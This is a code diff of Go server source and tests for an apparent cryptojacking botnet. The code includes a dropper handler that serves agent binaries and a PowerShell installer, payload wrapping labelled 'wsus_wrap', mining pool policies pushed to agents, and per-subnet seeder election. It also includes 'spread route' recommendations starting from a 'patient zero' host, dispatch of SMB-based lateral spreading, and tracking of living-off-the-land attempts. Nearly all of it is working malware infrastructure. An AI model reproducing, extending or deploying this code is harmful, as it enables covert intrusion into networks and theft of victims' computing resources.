func TestServeAgentBinaryDownloadMac(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
bin := filepath.Join(root, "crypto-miner-agent-darwin")
|
||||
if err := os.WriteFile(bin, []byte("darwin-agent"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
withAgentBinarySearchDir(t, root)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/download/agent-mac", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
serveAgentBinary("mac")(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d", rec.Code)
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), "crypto-miner-agent") {
|
||||
t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
}
|
||||
|
||||
func TestServeAgentBinaryNotFound(t *testing.T) {
|
||||
withAgentBinarySearchDir(t, t.TempDir())
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/download/agent-linux", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
serveAgentBinary("linux")(rec, req)
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("status=%d want 404", rec.Code)
|
||||
}
|
||||
}
|
||||
@@ -139,6 +139,20 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if strings.TrimSpace(r.URL.Query().Get("wsus_wrap")) == "1" {
|
||||
raw, err := os.ReadFile(buildPath)
|
||||
if err != nil {
|
||||
http.Error(w, "build read failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
wrapped := wrapWSUSChunkPayload(raw)
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Length", fmt.Sprintf("%d", len(wrapped)))
|
||||
_, _ = w.Write(wrapped)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
// Content-Length is set automatically by http.ServeFile.
|
||||
|
||||
@@ -196,6 +196,38 @@ func TestResolveDropperArtifact(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServeGetRejectsTraversalInArtifactURL(t *testing.T) {
|
||||
h, database, dataDir := newTestDropperHandler(t)
|
||||
buildID := "safe-build"
|
||||
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
binPath := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(binPath, []byte("agent"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// Malicious DownloadURL must not escape build dir via resolveDropperArtifact.
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
|
||||
FilePath: binPath, FileName: "worker.exe", Platform: "windows",
|
||||
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/..%2F..%2Fsecret.zip",
|
||||
CreatedAt: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeGet(rec, req)
|
||||
// Falls back to FilePath worker.exe — bundle artifact name is sanitized away.
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected fallback to FilePath, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if rec.Body.String() != "agent" {
|
||||
t.Fatalf("body=%q", rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServePs1Content(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
|
||||
|
||||
@@ -3,21 +3,27 @@ package api
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// FleetAgentPolicy is runtime mining/policy pushed to agents without re-forge.
|
||||
type FleetAgentPolicy struct {
|
||||
MiningMode string `json:"mining_mode,omitempty"`
|
||||
ScheduleStart string `json:"schedule_start,omitempty"`
|
||||
ScheduleEnd string `json:"schedule_end,omitempty"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
|
||||
PoolHost string `json:"pool_host,omitempty"`
|
||||
PoolPort int `json:"pool_port,omitempty"`
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
MiningMode string `json:"mining_mode,omitempty"`
|
||||
ScheduleStart string `json:"schedule_start,omitempty"`
|
||||
ScheduleEnd string `json:"schedule_end,omitempty"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
|
||||
PoolHost string `json:"pool_host,omitempty"`
|
||||
PoolPort int `json:"pool_port,omitempty"`
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
SpreadTemperament *strategy.AdaptiveStrategy `json:"spread_temperament,omitempty"`
|
||||
}
|
||||
|
||||
func (p FleetAgentPolicy) IsEmpty() bool {
|
||||
if p.SpreadTemperament != nil && len(p.SpreadTemperament.TierOrder) > 0 {
|
||||
return false
|
||||
}
|
||||
var zero FleetAgentPolicy
|
||||
return p == zero
|
||||
}
|
||||
|
||||
@@ -81,7 +81,13 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
|
||||
}
|
||||
snap.Stuck = fleetai.ComputeStuck(snap)
|
||||
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
|
||||
if engine != nil && !aiMode {
|
||||
if aiMode {
|
||||
temperament := fleetai.PersonaSpreadTemperament(h.serverPolicySnapshot().AIPersona)
|
||||
snap.Adaptive = &temperament
|
||||
if len(temperament.Reasoning) > 0 {
|
||||
snap.AdaptiveSummary = temperament.Reasoning[0].Action
|
||||
}
|
||||
} else if engine != nil {
|
||||
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
||||
adaptive := engine.StrategyForAgent(agentID, fp)
|
||||
snap.Adaptive = &adaptive
|
||||
|
||||
@@ -102,7 +102,7 @@ func TestFleetAIHandlerGetModels(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
|
||||
func TestFleetAISnapshotSpreadTemperamentWhenAIControl(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
@@ -111,7 +111,7 @@ func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
|
||||
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true})
|
||||
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, AIPersona: fleetai.PersonaPersuasive})
|
||||
agentID := "snap-agent-1"
|
||||
_ = database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "node-a", Platform: "windows", Status: "online",
|
||||
@@ -121,8 +121,11 @@ func TestFleetAISnapshotOmitsAdaptiveWhenAIControl(t *testing.T) {
|
||||
if !ok {
|
||||
t.Fatal("snapshot not found")
|
||||
}
|
||||
if snap.Adaptive != nil {
|
||||
t.Fatalf("adaptive must be nil when AI control enabled, got %+v", snap.Adaptive)
|
||||
if snap.Adaptive == nil || len(snap.Adaptive.TierOrder) == 0 {
|
||||
t.Fatalf("expected spread temperament in snapshot, got %+v", snap.Adaptive)
|
||||
}
|
||||
if snap.Adaptive.TierOrder[1] != "dns_txt" {
|
||||
t.Fatalf("persuasive spread order = %v", snap.Adaptive.TierOrder)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -435,8 +435,8 @@ func TestIntegrationAIOverridesAdaptive(t *testing.T) {
|
||||
if !ok {
|
||||
t.Fatal("snapshot not found")
|
||||
}
|
||||
if snap.Adaptive != nil {
|
||||
t.Fatalf("FleetAISnapshot must omit adaptive when AI control enabled, got %+v", snap.Adaptive)
|
||||
if snap.Adaptive == nil || len(snap.Adaptive.TierOrder) == 0 {
|
||||
t.Fatalf("FleetAISnapshot must include persona spread temperament when AI control enabled, got %+v", snap.Adaptive)
|
||||
}
|
||||
if sent := hub.PushAdaptiveStrategyUpdates(); sent != 0 {
|
||||
t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)
|
||||
|
||||
163
server/internal/api/fleet_role.go
Normal file
163
server/internal/api/fleet_role.go
Normal file
@@ -0,0 +1,163 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// LANSeederHint is pushed to miners on auth when fleet roles are enabled.
|
||||
type LANSeederHint struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
IP string `json:"ip,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
}
|
||||
|
||||
func normalizeFleetRole(role string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(role)) {
|
||||
case "seeder":
|
||||
return "seeder"
|
||||
case "miner":
|
||||
return "miner"
|
||||
default:
|
||||
return "auto"
|
||||
}
|
||||
}
|
||||
|
||||
func subnetPrefix24(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
|
||||
ip = ip[:idx]
|
||||
}
|
||||
parts := strings.Split(ip, ".")
|
||||
if len(parts) < 3 {
|
||||
return ""
|
||||
}
|
||||
return parts[0] + "." + parts[1] + "." + parts[2]
|
||||
}
|
||||
|
||||
func (h *WSHub) storeAgentFleetRole(agentID, role string) {
|
||||
role = normalizeFleetRole(role)
|
||||
if role == "auto" {
|
||||
role = "miner"
|
||||
}
|
||||
h.mu.Lock()
|
||||
tel, ok := h.agentLiveTelemetry[agentID]
|
||||
if !ok {
|
||||
tel = map[string]interface{}{}
|
||||
h.agentLiveTelemetry[agentID] = tel
|
||||
}
|
||||
tel["fleet_role"] = role
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) fleetRoleHintForAuth(agentID, bakedRole, clientIP string, seederCapable bool) string {
|
||||
if !h.serverPolicySnapshot().FleetRolesEnabled {
|
||||
return ""
|
||||
}
|
||||
baked := normalizeFleetRole(bakedRole)
|
||||
if baked == "seeder" || baked == "miner" {
|
||||
return baked
|
||||
}
|
||||
subnet := subnetPrefix24(clientIP)
|
||||
if h.subnetHasOnlineSeeder(subnet) {
|
||||
return "miner"
|
||||
}
|
||||
if seederCapable && h.shouldElectSubnetSeeder(agentID, subnet) {
|
||||
return "seeder"
|
||||
}
|
||||
return "miner"
|
||||
}
|
||||
|
||||
func (h *WSHub) subnetHasOnlineSeeder(subnet string) bool {
|
||||
if subnet == "" {
|
||||
return false
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for id, tel := range h.agentLiveTelemetry {
|
||||
role, _ := tel["fleet_role"].(string)
|
||||
if role != "seeder" {
|
||||
continue
|
||||
}
|
||||
if ac, ok := h.agents[id]; ok && ac != nil {
|
||||
_ = ac
|
||||
if agentIP := h.agentIPLocked(id); subnetPrefix24(agentIP) == subnet {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (h *WSHub) shouldElectSubnetSeeder(agentID, subnet string) bool {
|
||||
if subnet == "" {
|
||||
return false
|
||||
}
|
||||
sum := sha256.Sum256([]byte(subnet))
|
||||
pick := hex.EncodeToString(sum[:4])
|
||||
return strings.HasPrefix(agentID, pick[:2]) || pick[0]%3 == 0
|
||||
}
|
||||
|
||||
func (h *WSHub) agentIPLocked(agentID string) string {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil && ag != nil {
|
||||
return ag.IP
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (h *WSHub) lanSeedersForMiner(clientIP string) []LANSeederHint {
|
||||
if !h.serverPolicySnapshot().FleetRolesEnabled {
|
||||
return nil
|
||||
}
|
||||
subnet := subnetPrefix24(clientIP)
|
||||
var out []LANSeederHint
|
||||
h.mu.RLock()
|
||||
for id, tel := range h.agentLiveTelemetry {
|
||||
role, _ := tel["fleet_role"].(string)
|
||||
if role != "seeder" {
|
||||
continue
|
||||
}
|
||||
ip := h.agentIPLocked(id)
|
||||
if subnet != "" && subnetPrefix24(ip) != subnet {
|
||||
continue
|
||||
}
|
||||
fallback := ""
|
||||
if ip != "" {
|
||||
fallback = "http://" + ip + ":8989/api/v1/public/webrtc-mesh/manifest?seeder=" + id
|
||||
}
|
||||
out = append(out, LANSeederHint{AgentID: id, IP: ip, LANFallbackURL: fallback})
|
||||
}
|
||||
h.mu.RUnlock()
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestFleetPressure(agentID string, broadcast map[string]interface{}) {
|
||||
role, _ := broadcast["fleet_role"].(string)
|
||||
if role != "" {
|
||||
h.storeAgentFleetRole(agentID, role)
|
||||
}
|
||||
seed, seedOK := broadcast["seed_pressure"].(float64)
|
||||
hr, hrOK := broadcast["hashrate_pressure"].(float64)
|
||||
if !seedOK && !hrOK {
|
||||
return
|
||||
}
|
||||
heat := strategy.EmberwakeHeat(role, seed, hr)
|
||||
h.mu.Lock()
|
||||
tel, ok := h.agentLiveTelemetry[agentID]
|
||||
if !ok {
|
||||
tel = map[string]interface{}{}
|
||||
h.agentLiveTelemetry[agentID] = tel
|
||||
}
|
||||
if seedOK {
|
||||
tel["seed_pressure"] = seed
|
||||
}
|
||||
if hrOK {
|
||||
tel["hashrate_pressure"] = hr
|
||||
}
|
||||
tel["emberwake_heat"] = heat
|
||||
h.mu.Unlock()
|
||||
broadcast["emberwake_heat"] = heat
|
||||
}
|
||||
88
server/internal/api/fleet_role_test.go
Normal file
88
server/internal/api/fleet_role_test.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestAuthResponseFleetRoleHintWhenEnabled(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret("test-secret")
|
||||
hub.SetServerPolicy(ServerPolicy{FleetRolesEnabled: true})
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "agent-seed-aa", "fleet_secret": "test-secret",
|
||||
"wallet": "4" + repeatChar('C', 94), "hostname": "seed-host", "platform": "windows", "version": "test",
|
||||
"fleet_role": "auto", "seeder_mode": true,
|
||||
})
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if payload["success"] != true {
|
||||
t.Fatalf("auth failed: %v", payload["error"])
|
||||
}
|
||||
hint, _ := payload["fleet_role_hint"].(string)
|
||||
if hint != "seeder" && hint != "miner" {
|
||||
t.Fatalf("expected fleet_role_hint, got %q", hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthResponseOmitsFleetRoleHintWhenDisabled(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret("test-secret")
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "agent-miner-1", "fleet_secret": "test-secret",
|
||||
"wallet": "4" + repeatChar('D', 94), "hostname": "miner-host", "platform": "windows", "version": "test",
|
||||
"fleet_role": "miner",
|
||||
})
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, ok := payload["fleet_role_hint"]; ok {
|
||||
t.Fatal("fleet_role_hint should be omitted when fleet roles disabled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestIngestFleetPressureSetsEmberwakeHeat(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
b := map[string]interface{}{
|
||||
"agent_id": "a1",
|
||||
"fleet_role": "miner",
|
||||
"hashrate_pressure": 0.75,
|
||||
}
|
||||
hub.ingestFleetPressure("a1", b)
|
||||
if b["emberwake_heat"] != 0.75 {
|
||||
t.Fatalf("broadcast heat=%v", b["emberwake_heat"])
|
||||
}
|
||||
hub.mu.RLock()
|
||||
tel := hub.agentLiveTelemetry["a1"]
|
||||
hub.mu.RUnlock()
|
||||
if tel["emberwake_heat"] != 0.75 {
|
||||
t.Fatalf("stored heat=%v", tel["emberwake_heat"])
|
||||
}
|
||||
}
|
||||
@@ -18,6 +18,8 @@ import (
|
||||
qrcode "github.com/skip2/go-qrcode"
|
||||
|
||||
"golang.org/x/crypto/curve25519"
|
||||
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
// ── types ─────────────────────────────────────────────────────────────────────
|
||||
@@ -236,6 +238,9 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
|
||||
if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
|
||||
resp["network_hints"] = hints
|
||||
}
|
||||
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
|
||||
resp["spread_routes"] = routes
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
@@ -363,12 +368,48 @@ func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
|
||||
sess.DiscoveredAt = &now
|
||||
}
|
||||
|
||||
resp := map[string]interface{}{
|
||||
"ok": discoverErr == "",
|
||||
"session_id": sess.ID,
|
||||
"error": discoverErr,
|
||||
"service_graph": serviceGraphList(sess.ServiceGraph),
|
||||
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
|
||||
}
|
||||
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
|
||||
resp["spread_routes"] = routes
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
// POST /api/v1/pathtrace/spread-route
|
||||
// Body: {"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}
|
||||
// Returns BGP-style spread route recommendations per target subnet.
|
||||
func (h *PathTracerHandler) SpreadRoute(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
SessionID string `json:"session_id"`
|
||||
TargetSubnets []string `json:"target_subnets"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.SessionID = strings.TrimSpace(req.SessionID)
|
||||
if req.SessionID == "" {
|
||||
http.Error(w, "session_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
sess := h.getSession(req.SessionID)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
routes, edges := h.computeSpreadRoutes(sess, req.TargetSubnets, req.JoinLane)
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": discoverErr == "",
|
||||
"session_id": sess.ID,
|
||||
"error": discoverErr,
|
||||
"service_graph": serviceGraphList(sess.ServiceGraph),
|
||||
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
|
||||
"ok": true,
|
||||
"session_id": sess.ID,
|
||||
"spread_routes": routes,
|
||||
"route_edges": edges,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -410,6 +451,16 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
egress := sess.Hops[len(sess.Hops)-1]
|
||||
if targetSubnet := strings.TrimSpace(r.URL.Query().Get("target_subnet")); targetSubnet != "" {
|
||||
if routes := h.spreadRoutesForSession(sess, []string{targetSubnet}, ""); len(routes) > 0 {
|
||||
for _, hop := range sess.Hops {
|
||||
if hop.AgentID == routes[0].EgressAgentID {
|
||||
egress = hop
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if !h.hub.isAgentConnected(egress.AgentID) {
|
||||
http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
|
||||
return
|
||||
@@ -426,14 +477,74 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
|
||||
http.Error(w, err.Error(), http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"agent_id": egress.AgentID,
|
||||
resp := map[string]interface{}{
|
||||
"ok": true,
|
||||
"agent_id": egress.AgentID,
|
||||
"agent_name": egress.AgentName,
|
||||
"unc_path": req.UNCPath,
|
||||
"max_hosts": maxHosts,
|
||||
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
|
||||
})
|
||||
"unc_path": req.UNCPath,
|
||||
"max_hosts": maxHosts,
|
||||
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
|
||||
}
|
||||
if routeHint := h.bestSpreadRouteForSession(sess, nil, ""); routeHint != nil {
|
||||
resp["spread_route_hint"] = routeHint
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) spreadRoutesForSession(sess *TraceSession, targetSubnets []string, joinLane string) []spreadrouter.RouteRecommendation {
|
||||
routes, _ := h.computeSpreadRoutes(sess, targetSubnets, joinLane)
|
||||
return routes
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) computeSpreadRoutes(sess *TraceSession, targetSubnets []string, joinLane string) ([]spreadrouter.RouteRecommendation, []spreadrouter.RouteEdge) {
|
||||
if sess == nil {
|
||||
return nil, nil
|
||||
}
|
||||
in := buildSpreadRouterInput(h.hub, []*TraceSession{sess}, targetSubnets, joinLane)
|
||||
rt := spreadrouter.Build(in)
|
||||
return rt.Routes, rt.Edges
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) bestSpreadRouteForSession(sess *TraceSession, targetSubnets []string, joinLane string) *spreadrouter.SpreadRouteHint {
|
||||
routes := h.spreadRoutesForSession(sess, targetSubnets, joinLane)
|
||||
if len(routes) == 0 {
|
||||
return nil
|
||||
}
|
||||
return spreadrouter.ToHint(routes[0])
|
||||
}
|
||||
|
||||
// RecommendSpreadRoute picks the best seed hop for a target subnet across all active sessions.
|
||||
func (h *PathTracerHandler) RecommendSpreadRoute(targetSubnet, joinLane, patientZeroID string) *spreadrouter.SpreadRouteHint {
|
||||
if h == nil {
|
||||
return nil
|
||||
}
|
||||
targetSubnet = spreadrouter.NormalizeSubnet(targetSubnet)
|
||||
if targetSubnet == "" {
|
||||
return nil
|
||||
}
|
||||
sessions := traceSessionsSnapshot(h)
|
||||
in := buildSpreadRouterInput(h.hub, sessions, []string{targetSubnet}, joinLane)
|
||||
rt := spreadrouter.Build(in)
|
||||
rec, ok := rt.Recommend(targetSubnet)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
if patientZeroID != "" && rec.SeedAgentID == patientZeroID {
|
||||
// Prefer a routed egress when patient zero is not the only candidate.
|
||||
for _, edge := range rt.Edges {
|
||||
if edge.ToSubnet == targetSubnet && edge.FromAgentID != patientZeroID && edge.Weight >= rec.Score*0.9 {
|
||||
rec.SeedAgentID = edge.FromAgentID
|
||||
rec.SeedAgentName = edge.FromAgentName
|
||||
rec.EgressAgentID = edge.FromAgentID
|
||||
rec.EgressHopIndex = edge.HopIndex
|
||||
rec.SessionID = edge.SessionID
|
||||
rec.Score = edge.Weight
|
||||
rec.Reason = "routed egress (not patient zero)"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return spreadrouter.ToHint(rec)
|
||||
}
|
||||
|
||||
// ── orchestration ─────────────────────────────────────────────────────────────
|
||||
|
||||
@@ -593,3 +593,121 @@ func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
|
||||
}
|
||||
t.Fatal("timed out waiting for network_hints on pathtrace session")
|
||||
}
|
||||
|
||||
func TestPathTracerSpreadRouteRecommendation(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
patientID := "patient-zero-agent"
|
||||
seedID := "seed-hop-agent"
|
||||
if err := database.UpsertAgent(&models.Agent{ID: patientID, Name: "Patient Zero", IP: "10.1.2.3", Status: "online"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed Hop", IP: "10.1.2.4", Status: "online"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
hub := NewWSHub(database)
|
||||
connectTestAgent(t, hub, patientID)
|
||||
connectTestAgent(t, hub, seedID)
|
||||
hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
|
||||
hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
|
||||
|
||||
handler := NewPathTracerHandler(hub)
|
||||
sess := testTraceSession(2)
|
||||
sess.Hops[0].AgentID = patientID
|
||||
sess.Hops[0].AgentName = "Patient Zero"
|
||||
sess.Hops[0].ExternalIP = "10.1.2.3"
|
||||
sess.Hops[1].AgentID = seedID
|
||||
sess.Hops[1].AgentName = "Seed Hop"
|
||||
sess.Hops[1].ExternalIP = "10.1.2.4"
|
||||
sess.ServiceGraph = map[string]ServiceGraphHost{
|
||||
"10.1.2.50": {
|
||||
Host: "10.1.2.50", Subnet: "10.1.2", AgentID: seedID,
|
||||
Services: []ServiceGraphEntry{{ServiceName: "smb", Port: 445, JoinLaneCandidate: "spread_smb_unc"}},
|
||||
},
|
||||
}
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q,"target_subnets":["10.1.2"],"join_lane":"do_peer"}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread-route", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.SpreadRoute(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("spread-route status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp struct {
|
||||
SpreadRoutes []struct {
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
Score float64 `json:"score"`
|
||||
} `json:"spread_routes"`
|
||||
RouteEdges []struct {
|
||||
Weight float64 `json:"weight"`
|
||||
} `json:"route_edges"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(resp.SpreadRoutes) == 0 {
|
||||
t.Fatalf("expected routes: %s", rec.Body.String())
|
||||
}
|
||||
if resp.SpreadRoutes[0].SeedAgentID != seedID {
|
||||
t.Fatalf("seed=%q want %q routes=%v", resp.SpreadRoutes[0].SeedAgentID, seedID, resp.SpreadRoutes)
|
||||
}
|
||||
if len(resp.RouteEdges) == 0 {
|
||||
t.Fatal("expected weighted route edges")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanIncludesSpreadRouteHint(t *testing.T) {
|
||||
deployH := testDeployPlanHandler(t)
|
||||
patientID := "deploy-patient-zero"
|
||||
seedID := "deploy-seed-hop"
|
||||
if err := deployH.db.UpsertAgent(&models.Agent{ID: patientID, Name: "PZ", IP: "10.9.8.7", Status: "online"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := deployH.db.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
hub := NewWSHub(deployH.db)
|
||||
connectTestAgent(t, hub, patientID)
|
||||
connectTestAgent(t, hub, seedID)
|
||||
hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
|
||||
hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")
|
||||
|
||||
pathTracer := NewPathTracerHandler(hub)
|
||||
deployH.BindPathTracer(pathTracer)
|
||||
sess := testTraceSession(2)
|
||||
sess.Hops[0].AgentID = patientID
|
||||
sess.Hops[0].ExternalIP = "10.9.8.7"
|
||||
sess.Hops[1].AgentID = seedID
|
||||
sess.Hops[1].ExternalIP = "10.9.8.9"
|
||||
sess.ServiceGraph = map[string]ServiceGraphHost{
|
||||
"10.9.8.20": {Host: "10.9.8.20", Subnet: "10.9.8", AgentID: seedID},
|
||||
}
|
||||
